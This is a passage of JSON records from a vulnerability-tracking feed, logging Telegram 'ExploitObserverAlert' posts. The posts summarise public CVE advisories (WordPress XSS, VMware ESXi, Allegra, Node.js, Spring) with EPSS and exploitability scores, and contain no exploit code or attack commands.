"creation_timestamp": "2024-04-18T04:35:44.000000Z"}, {"uuid": "810b77dc-c1e2-4652-a7bb-63f6820eea62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/arpsyndicate/4730", "content": "#ExploitObserverAlert\n\nCVE-2024-22262\n\nDESCRIPTION: Exploit Observer has 26 entries in 6 file formats related to CVE-2024-22262. Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.  This is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\nFIRST-EPSS: 0.000430000\nARPS-PRIORITY: 0.710172", "creation_timestamp": "2024-04-20T18:55:00.000000Z"}, {"uuid": "ca11ee72-948f-4d55-99e7-b6cf36858115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/arpsyndicate/3437", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-22024\n\nDESCRIPTION: Exploit Observer has 3 entries in 3 file formats related to PD/http/cves/2024/CVE-2024-22024. Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.", "creation_timestamp": "2024-02-11T16:20:30.000000Z"}, {"uuid": "578665c3-01cf-4023-af4d-4f74de1e5498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/arpsyndicate/4534", "content": "#ExploitObserverAlert\n\nCVE-2024-22019\n\nDESCRIPTION: Exploit Observer has 13 entries in 2 file formats related to CVE-2024-22019. A vulnerability in Node.js HTTP servers allows an attacker to send a specially crafted HTTP request with chunked encoding, leading to resource exhaustion and denial of service (DoS). The server reads an unbounded number of bytes from a single connection, exploiting the lack of limitations on chunk extension bytes. The issue can cause CPU and network bandwidth exhaustion, bypassing standard safeguards like timeouts and body size limits.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.5817243", "creation_timestamp": "2024-04-12T06:02:54.000000Z"}, {"uuid": "09a26585-0ef1-4db1-9a30-695360db2b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22262", "type": "seen", "source": "https://t.me/arpsyndicate/4683", "content": "#ExploitObserverAlert\n\nCVE-2024-22262\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2024-22262. Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.  This is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.701451", "creation_timestamp": "2024-04-18T04:35:44.000000Z"}, {"uuid": "a77e2934-298c-457c-abca-5a2812f77e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "seen", "source": "https://t.me/arpsyndicate/4683", "content": "#ExploitObserverAlert\n\nCVE-2024-22262\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2024-22262. Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.  This is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.701451", "creation_timestamp": "2024-04-18T04:35:44.000000Z"}, {"uuid": "a163a83b-65a2-42d5-b2c4-a3804ebb6154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/arpsyndicate/4646", "content": "#ExploitObserverAlert\n\nCVE-2024-22667\n\nDESCRIPTION: Exploit Observer has 9 entries in 3 file formats related to CVE-2024-22667. Vim before 9.0.2142 has a stack-based buffer overflow because did_set_langmap in map.c calls sprintf to write to the error buffer that is passed down to the option callback functions.\n\nFIRST-EPSS: 0.000420000\nNVD-IS: 5.9\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.688607", "creation_timestamp": "2024-04-13T12:18:58.000000Z"}, {"uuid": "96ea5e15-8983-4cca-84aa-d9277242a9bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2279", "type": "seen", "source": "https://t.me/arpsyndicate/4643", "content": "#ExploitObserverAlert\n\nCVE-2024-2279\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-2279. An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.7 to 16.8.6 all versions starting from 16.9 before 16.9.4, all versions starting from 16.10 before 16.10.2. Using the autocomplete for issues references feature a crafted payload may lead to a stored XSS, allowing attackers to perform arbitrary actions on behalf of victims.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.775", "creation_timestamp": "2024-04-13T12:03:56.000000Z"}, {"uuid": "d3c13905-d8aa-44c0-8837-3b5f0da49b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2200", "type": "seen", "source": "https://t.me/arpsyndicate/4482", "content": "#ExploitObserverAlert\n\nCVE-2024-2200\n\nDESCRIPTION: Exploit Observer has 4 entries in 1 file formats related to CVE-2024-2200. The Contact Form by BestWebSoft plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018cntctfrm_contact_subject\u2019 parameter in all versions up to, and including, 4.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T08:39:24.000000Z"}, {"uuid": "fc1089ba-0b07-4820-8193-92c47f2fca20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22860", "type": "published-proof-of-concept", "source": "https://t.me/arpsyndicate/3264", "content": "#ExploitObserverAlert\n\nCVE-2024-22860\n\nDESCRIPTION: Exploit Observer has 3 entries in 3 file formats related to CVE-2024-22860. Integer overflow vulnerability in FFmpeg before n6.1, allows remote attackers to execute arbitrary code via the jpegxl_anim_read_packet component in the JPEG XL Animation decoder.", "creation_timestamp": "2024-01-28T10:06:56.000000Z"}, {"uuid": "d261db56-8c06-41bb-b2ad-31847b3456e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22795", "type": "seen", "source": "https://t.me/arpsyndicate/3382", "content": "#ExploitObserverAlert\n\nCVE-2024-22795\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2024-22795. Insecure Permissions vulnerability in Forescout SecureConnector v.11.3.06.0063 allows a local attacker to escalate privileges via the Recheck Compliance Status component.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-02-11T13:15:29.000000Z"}, {"uuid": "90a7c307-163f-48bd-9951-9406ffd710cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22507", "type": "seen", "source": "https://t.me/arpsyndicate/3381", "content": "#ExploitObserverAlert\n\nZDI-24-112\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-112. Allegra downloadAttachmentGlobal Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Although authentication is required to exploit this vulnerability, product implements a registration mechanism that can be used to create a user with a sufficient privilege level. The ZDI has assigned a CVSS rating of 7.5. The following CVEs are assigned: CVE-2024-22507.", "creation_timestamp": "2024-02-11T13:14:19.000000Z"}, {"uuid": "48b6e7bd-2335-4709-be27-3ed4a45308ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22506", "type": "seen", "source": "https://t.me/arpsyndicate/3380", "content": "#ExploitObserverAlert\n\nZDI-24-105\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-105. Allegra loadFieldMatch Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, product implements a registration mechanism that can be used to create a user with a sufficient privilege level. The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2024-22506.", "creation_timestamp": "2024-02-11T13:10:40.000000Z"}, {"uuid": "9e6ecfcf-acd8-4630-8ea6-0505e30c416d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2223", "type": "seen", "source": "https://t.me/arpsyndicate/4499", "content": "#ExploitObserverAlert\n\nCVE-2024-2223\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2024-2223. An Incorrect Regular Expression vulnerability in Bitdefender GravityZone Update Server allows an attacker to cause a Server Side Request Forgery and reconfigure the relay. This issue affects the following products that include the vulnerable component:\u00a0  Bitdefender Endpoint Security for Linux version 7.0.5.200089 Bitdefender Endpoint Security for\u00a0 Windows version 7.9.9.380 GravityZone Control Center (On Premises) version 6.36.1\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T10:02:49.000000Z"}, {"uuid": "be531049-6a65-4d8e-8274-0a136cd14620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2221", "type": "seen", "source": "https://t.me/arpsyndicate/4571", "content": "#ExploitObserverAlert\n\nCVE-2024-2221\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-2221. qdrant/qdrant is vulnerable to a path traversal and arbitrary file upload vulnerability via the `/collections/{COLLECTION}/snapshots/upload` endpoint, specifically through the `snapshot` parameter. This vulnerability allows attackers to upload and overwrite any file on the filesystem, leading to potential remote code execution. This issue affects the integrity and availability of the system, enabling unauthorized access and potentially causing the server to malfunction.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.5780347", "creation_timestamp": "2024-04-12T09:02:54.000000Z"}, {"uuid": "7df862e9-1ae9-4623-98cb-71808620e4bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2289", "type": "seen", "source": "https://t.me/arpsyndicate/4476", "content": "#ExploitObserverAlert\n\nCVE-2024-2289\n\nDESCRIPTION: Exploit Observer has 4 entries in 1 file formats related to CVE-2024-2289. The PowerPack Lite for Beaver Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the link in multiple elements in all versions up to, and including, 1.3.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T08:10:06.000000Z"}, {"uuid": "7ecd7a47-0f54-411d-ab1b-fac2269c5414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22255", "type": "seen", "source": "https://t.me/arpsyndicate/4121", "content": "#ExploitObserverAlert\n\nCVE-2024-22255\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-22255. VMware ESXi, Workstation, and Fusion contain an information disclosure vulnerability in the UHCI USB controller.\u00a0A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.", "creation_timestamp": "2024-03-06T16:13:09.000000Z"}, {"uuid": "4943e945-a8b1-4052-a99c-a051d18afe62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22254", "type": "seen", "source": "https://t.me/arpsyndicate/4120", "content": "#ExploitObserverAlert\n\nCVE-2024-22254\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-22254. VMware ESXi contains an out-of-bounds write vulnerability.\u00a0A malicious actor with privileges within the VMX process may trigger an out-of-bounds write leading to an escape of the sandbox.", "creation_timestamp": "2024-03-06T16:08:09.000000Z"}, {"uuid": "4b972121-ec68-47ff-90d6-b61a5f1afc1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://t.me/arpsyndicate/4118", "content": "#ExploitObserverAlert\n\nCVE-2024-22253\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-22253. VMware ESXi, Workstation, and Fusion contain a use-after-free vulnerability in the UHCI USB controller.\u00a0A malicious actor with local administrative privileges on a virtual machine may exploit this issue to execute code as the virtual machine's VMX process running on the host. On ESXi, the exploitation is contained within the VMX sandbox whereas, on Workstation and Fusion, this may lead to code execution on the machine where Workstation or Fusion is installed.", "creation_timestamp": "2024-03-06T15:56:33.000000Z"}, {"uuid": "23170d96-48b5-463a-8fce-5dd69de3dd5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2226", "type": "seen", "source": "https://t.me/arpsyndicate/4461", "content": "#ExploitObserverAlert\n\nCVE-2024-2226\n\nDESCRIPTION: Exploit Observer has 4 entries in 1 file formats related to CVE-2024-2226. The Otter Blocks \u2013 Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the id parameter in the google-map block in all versions up to, and including, 2.6.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with contributor access and higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T06:56:18.000000Z"}, {"uuid": "225e40ab-04d7-433e-992c-f063d302e996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2287", "type": "seen", "source": "https://t.me/arpsyndicate/4450", "content": "#ExploitObserverAlert\n\nCVE-2024-2287\n\nDESCRIPTION: Exploit Observer has 4 entries in 1 file formats related to CVE-2024-2287. The Knight Lab Timeline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 3.9.3.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T06:06:37.000000Z"}, {"uuid": "f712b8aa-764f-4f37-b22f-b02c299af1f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2204", "type": "seen", "source": "https://t.me/arpsyndicate/4267", "content": "#ExploitObserverAlert\n\nCVE-2024-2204\n\nDESCRIPTION: Exploit Observer has 50 entries in 7 file formats related to CVE-2024-2204. Zemana AntiLogger v2.74.204.664 is vulnerable to a Denial of Service (DoS) vulnerability by triggering the 0x80002004 and 0x80002010 IOCTL codes of the zam64.sys and zamguard64.sys drivers.\n\nFIRST-EPSS: 0.000430000\nNVD-IS: 3.6\nNVD-ES: 1.8", "creation_timestamp": "2024-03-16T22:02:00.000000Z"}, {"uuid": "071fb97a-8285-4992-82cd-57199d945f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2256", "type": "seen", "source": "https://t.me/arpsyndicate/4264", "content": "#ExploitObserverAlert\n\nCVE-2024-2256\n\nDESCRIPTION: Exploit Observer has 47 entries in 7 file formats related to CVE-2024-2256. The oik plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes such as bw_contact_button and bw_button shortcodes in all versions up to, and including, 4.10.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-03-16T21:48:42.000000Z"}, {"uuid": "a709dd2d-f1bb-46eb-8443-8523e19f5317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://t.me/arpsyndicate/4418", "content": "#ExploitObserverAlert\n\nCVE-2024-22025\n\nDESCRIPTION: Exploit Observer has 11 entries in 3 file formats related to CVE-2024-22025. A vulnerability in Node.js has been identified, allowing for a Denial of Service (DoS) attack through resource exhaustion when using the fetch() function to retrieve content from an untrusted URL. The vulnerability stems from the fact that the fetch() function in Node.js always decodes Brotli, making it possible for an attacker to cause resource exhaustion when fetching content from an untrusted URL. An attacker controlling the URL passed into fetch() can exploit this vulnerability to exhaust memory, potentially leading to process termination, depending on the system configuration.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-09T20:40:54.000000Z"}, {"uuid": "f9060de8-ec80-4b1e-be50-8fde4f346d03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2249", "type": "seen", "source": "https://t.me/arpsyndicate/4256", "content": "#ExploitObserverAlert\n\nCVE-2024-2249\n\nDESCRIPTION: Exploit Observer has 37 entries in 6 file formats related to CVE-2024-2249. The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the LinkWrapper attribute found in several widgets in all versions up to, and including, 1.3.7.4 due to insufficient input sanitization and output escaping the user supplied attribute. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-03-16T21:11:50.000000Z"}, {"uuid": "e715eba5-b35b-4f85-8f43-91f6050988b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/arpsyndicate/3700", "content": "#ExploitObserverAlert\n\nCVE-2024-22019\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2024-22019. A vulnerability in Node.js HTTP servers allows an attacker to send a specially crafted HTTP request with chunked encoding, leading to resource exhaustion and denial of service (DoS). The server reads an unbounded number of bytes from a single connection, exploiting the lack of limitations on chunk extension bytes. The issue can cause CPU and network bandwidth exhaustion, bypassing standard safeguards like timeouts and body size limits.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-21T06:53:10.000000Z"}, {"uuid": "01772110-03a4-4c30-9442-efaae208a7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22836", "type": "seen", "source": "https://t.me/arpsyndicate/3415", "content": "#ExploitObserverAlert\n\nCVE-2024-22836\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22836. An OS command injection vulnerability exists in Akaunting v3.1.3 and earlier. An attacker can manipulate the company locale when installing an app to execute system commands on the hosting server.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-02-11T15:01:48.000000Z"}, {"uuid": "e07741d9-4438-4eec-8a07-cdb7691595bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/arpsyndicate/4115", "content": "#ExploitObserverAlert\n\nCVE-2024-22252\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-22252. VMware ESXi, Workstation, and Fusion contain a use-after-free vulnerability in the XHCI USB controller.\u00a0A malicious actor with local administrative privileges on a virtual machine may exploit this issue to execute code as the virtual machine's VMX process running on the host. On ESXi, the exploitation is contained within the VMX sandbox whereas, on Workstation and Fusion, this may lead to code execution on the machine where Workstation or Fusion is installed.", "creation_timestamp": "2024-03-06T15:41:00.000000Z"}, {"uuid": "b934a118-abf8-4e08-89da-35f1a4380e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22505", "type": "seen", "source": "https://t.me/arpsyndicate/3432", "content": "#ExploitObserverAlert\n\nZDI-24-106\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-106. Allegra renderFieldMatch Deserialization of Unstrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, product implements a registration mechanism that can be used to create a user with a sufficient privilege level. The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2024-22505.", "creation_timestamp": "2024-02-11T15:53:39.000000Z"}, {"uuid": "4038b9f2-48de-467a-ba38-1805753bfc9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22510", "type": "seen", "source": "https://t.me/arpsyndicate/3427", "content": "#ExploitObserverAlert\n\nZDI-24-103\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-103. Allegra uploadFile Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2024-22510.", "creation_timestamp": "2024-02-11T15:44:26.000000Z"}, {"uuid": "1b6f902d-e83d-4be5-94a0-46ef923a6f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22512", "type": "seen", "source": "https://t.me/arpsyndicate/3421", "content": "#ExploitObserverAlert\n\nZDI-24-102\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-102. Allegra SiteConfigAction Improper Access Control Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is not required to exploit this vulnerability.  The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2024-22512.", "creation_timestamp": "2024-02-11T15:25:26.000000Z"}, {"uuid": "e1a74455-afe0-470f-af22-9840d15f8e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22220", "type": "seen", "source": "https://t.me/arpsyndicate/4068", "content": "#ExploitObserverAlert\n\nCVE-2024-22220\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22220. An issue was discovered in Terminalfour 7.4 through 7.4.0004 QP3 and 8 through 8.3.19, and Formbank through 2.1.10-FINAL. Unauthenticated Stored Cross-Site Scripting can occur, with resultant Admin Session Hijacking. The attack vectors are Form Builder and Form Preview.", "creation_timestamp": "2024-02-22T21:59:13.000000Z"}, {"uuid": "5a8495ab-d7f0-4be0-8827-07f31d4bfcbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "seen", "source": "https://t.me/arpsyndicate/3733", "content": "#ExploitObserverAlert\n\nCVE-2024-22234\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22234. In Spring Security, versions 6.1.x prior to 6.1.7 and versions 6.2.x prior to 6.2.2, an application is vulnerable to broken access control when it directly uses the AuthenticationTrustResolver.isFullyAuthenticated(Authentication)\u00a0method.  Specifically, an application is vulnerable if:    *  The application uses AuthenticationTrustResolver.isFullyAuthenticated(Authentication)\u00a0directly and a null\u00a0authentication parameter is passed to it resulting in an erroneous true\u00a0return value.   An application is not vulnerable if any of the following is true:    *  The application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication)\u00a0directly.   *  The application does not pass null\u00a0to AuthenticationTrustResolver.isFullyAuthenticated   *  The application only uses isFullyAuthenticated\u00a0via  Method Security https://docs.spring.io/spring-security/reference/servlet/authorization/method-security.html \u00a0or  HTTP Request Security https://docs.spring.io/spring-security/reference/servlet/authorization/authorize-http-requests.html\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-21T07:35:04.000000Z"}, {"uuid": "29d13395-30da-4aee-98f1-1841d87448e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22504", "type": "seen", "source": "https://t.me/arpsyndicate/3360", "content": "#ExploitObserverAlert\n\nZDI-24-107\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-107. Allegra extarctZippedFile Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2024-22504.", "creation_timestamp": "2024-02-11T12:20:51.000000Z"}, {"uuid": "5254e5ca-573a-4ed8-a9f8-2345193054b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22318", "type": "seen", "source": "https://t.me/arpsyndicate/3350", "content": "#ExploitObserverAlert\n\nCVE-2024-22318\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22318. IBM i Access Client Solutions (ACS) 1.1.2 through 1.1.4 and 1.1.4.3 through 1.1.9.4 is vulnerable to NT LAN Manager (NTLM) hash disclosure by an attacker modifying UNC capable paths within ACS configuration files to point to a hostile server. If NTLM is enabled, the Windows operating system will try to authenticate using the current user's session. The hostile server could capture the NTLM hash information to obtain the user's credentials.  IBM X-Force ID:  279091.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-02-11T11:58:48.000000Z"}, {"uuid": "a195c22a-43db-4c91-8f68-63294f8dc9e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/arpsyndicate/3055", "content": "#ExploitObserverAlert\n\nCVE-2024-22233\n\nDESCRIPTION: Exploit Observer has 3 entries in 3 file formats related to CVE-2024-22233. In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.  Specifically, an application is vulnerable when all of the following are true:    *  the application uses Spring MVC   *  Spring Security 6.1.6+ or 6.2.1+ is on the classpath   Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web\u00a0and org.springframework.boot:spring-boot-starter-security\u00a0dependencies to meet all conditions.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-01-26T20:14:50.000000Z"}, {"uuid": "46fd3296-8060-4f41-a74f-6dbc9d2ebbd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22530", "type": "seen", "source": "https://t.me/arpsyndicate/3412", "content": "#ExploitObserverAlert\n\nZDI-24-099\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to ZDI-24-099. Allegra getFileContentAsString Directory 